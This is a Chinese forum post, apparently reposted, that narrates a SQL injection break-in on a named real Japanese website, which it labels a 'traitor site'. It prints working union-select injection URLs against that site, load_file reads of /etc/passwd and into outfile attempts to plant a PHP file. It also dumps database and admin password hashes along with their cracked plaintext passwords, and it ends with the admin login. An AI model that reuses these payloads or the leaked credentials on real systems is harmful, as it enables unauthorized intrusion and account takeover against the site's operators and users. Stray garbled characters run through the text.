原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

: X) J: d5 u& j
0x01. 检测 www.zuaa.jp 收集数据
2 u* m5 {% L: Q8 U( |% T
3 s/ w. }& e3 N- L/ h
0 U/ u2 V8 Y) k1 P; }whatweb
7 ]; D) z8 M' S, t! E, X

, e: n3 E% k3 {利用NMAP扫描

* r& ~* \. o! ?+ _中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
% J" F7 P/ r. Z# V6 g0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390

3 t0 {3 d, [& D# \
9 J4 E. T8 \# n  z8 `7 @: p- g( _5 u+ J0x03.order by
6 @  i( N6 _6 ~% s& P3 N+ l: N' ~9 r0 K             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
2 I0 m) {: V( U3 ?: W$ W
order by 28报错，order by 27正常

, m8 _0 R# X& m0x04.   union手动查询
4 {4 a2 ?" `# A2 u; Uhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
添加到 27 时正常显示
6 r  ~; {4 G! M- j5 d
! L- }; [/ D- D" r# j中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
- S! {( D; [5 U% \! `% p
9 `) u7 ~. k0 J6 h( h0x05. info:
( ?5 V0 K- I. V0 P1 z& ~+ X3 nhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

user:            root@localhost
- }1 H. |) q) L' K0 l+ X- x( z% q5 k! g0 tdatabase:    openpne
) z1 K/ d( ~: O- i7 T( ^3 }version:      4.1.22
os:             portbld-freebsd5.4
" j5 [0 I6 H8 D1 V0 J7 M3 {
0x06. root用户
4 n+ k2 x9 }% X利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
" s9 G8 s- P2 H% V: J7 {# Mhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

' q. C  G, M% a; ^通过工具转换

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
+ k7 e/ L7 ^' j1 H* F
: b  Y( E0 j( R8 x0x07. 利用 into outfile
  c2 E4 Q' X1 m+ I8 r全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php

http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php
* {/ Y; H+ @4 F# ~. N. I1 m
* V/ I" ?, h6 y3 }+ ?0 G页面显示“MDB2 Error:syntax error”

0x08. 利用 mysql 4.1
1 x. H; ]% v2 A2 F/ A' z  m, c: V猜常规表名，字段未果 工具 sqlmap
' ^  m( }- H) P( S# |中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

( S. |" u* Y; o) i- w+ \
4 y5 |$ y4 f/ D& I0 h
0x09. 查找后台
利用 现有的各种 后台工具尝试都不行
" G# e. B( \: k$ e
) J: j% T# R# s9 n# A7 l8 `8 O0x10.  MySL外联方法
% U- d' |' p' T( d从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
8 A- C5 b& w: Q5 d; n3 bhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
3 J# d5 N& {! x$ n- m
这个可以在 www.cmd5.com 解密
1 O6 m! ?/ o9 ^* A5 aroot:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
. N4 N) p" u/ D/ k7 Izuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
( Z$ s+ I# a, Z% e工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知
$ Y. V: p! C  m

0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码


+ ]& m! Z; S0 e% {1 H) D0x12. 默认信息利用
* F& q8 `+ U  W% u0 uhttp://sns.zuaa.jp/?m=admin&a=page_login

# ^# |! g* P; G9 G' m  l$ J9 b表名 (c_admin_user) ，字段名（username,password）
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user
2 U% {# d' t  R4 O; r
5 @) m  k: K9 R1 t- C! n' {解密
9 R, q% }4 C& j4 |) ?0 v2 ^zuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
zuaajp:c0923ec5857796a393da99905008c176,          zju1897

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
3 G. T# q/ J. M2 f" C
8 [/ i7 K" n( `# D, B! D0x13. 登录后台


' i5 z( s9 U  I# l- c7 |$ }
0x14. 小结
利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
( o5 ]! ~4 M% Q9 L------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
$ j1 U- |* \0 S  G6 K
最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！

荒村狂客

哪个牛人 费的这劲 入侵的